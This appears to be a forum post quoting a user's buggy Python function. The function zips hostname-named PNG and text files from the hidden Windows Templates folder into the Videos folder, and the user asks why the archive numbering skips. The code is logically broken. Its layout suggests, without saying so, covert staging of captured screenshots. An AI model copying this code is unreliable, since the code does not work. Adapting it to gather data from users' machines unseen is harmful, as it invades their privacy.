Feb-09-2021, 12:15 PM
(Feb-09-2021, 11:54 AM)Gilush Wrote: the dozip is a function that takes the files in folder X and zipps them to folder Y.
I can call it whenever I choose to.
I'm trying to make everything re-usable.
Only 1 bug left to fix and its that skipping by 1 part.
for some reason I get the file names like that:
filename[1].zip
filename[3].zip
filename[5].zip
...
filename[9].zip
filename[11].zip
def dozip(duration, limit): print(f"[i]Zipping in {duration} seconds...") time.sleep(duration) root_dir = f"{os.environ['appdata']}" + f"\\Microsoft\Windows\Templates\\" z = 1 i = 1 file_name = f"{sysinfo.node}[{i}].zip" root_files = os.listdir(root_dir) zip_files.extend(root_dir) while len(zip_files) > 0: zipper = ZipFile(f"c:\\Users\\{os.getlogin()}\\Videos\\" f"{sysinfo.node}[{len(zip_files)}].zip", 'w') try: zipper.write(f"{os.environ['appdata']}" + f"\\Microsoft\\Windows\\Templates\\" f"{sysinfo.node}.txt", f"{sysinfo.node}.txt") except FileNotFoundError as e: print(f"[!]File not found:\n{e}") pass try: for z in range(limit): zipper.write(f"{os.environ['appdata']}" + f"\\Microsoft\\Windows\\Templates\\" f"{sysinfo.node}[{z + 1}].png", f"{sysinfo.node}[{z + 1}].png") z += 1 if z >= limit: continue except FileNotFoundError as e: print(f"[!]File not found:\n{e}") pass zipper.close() print("[+]Zipped!") zip_files.append(f"{sysinfo.node}[{len(zip_files) -1}].zip") return zipper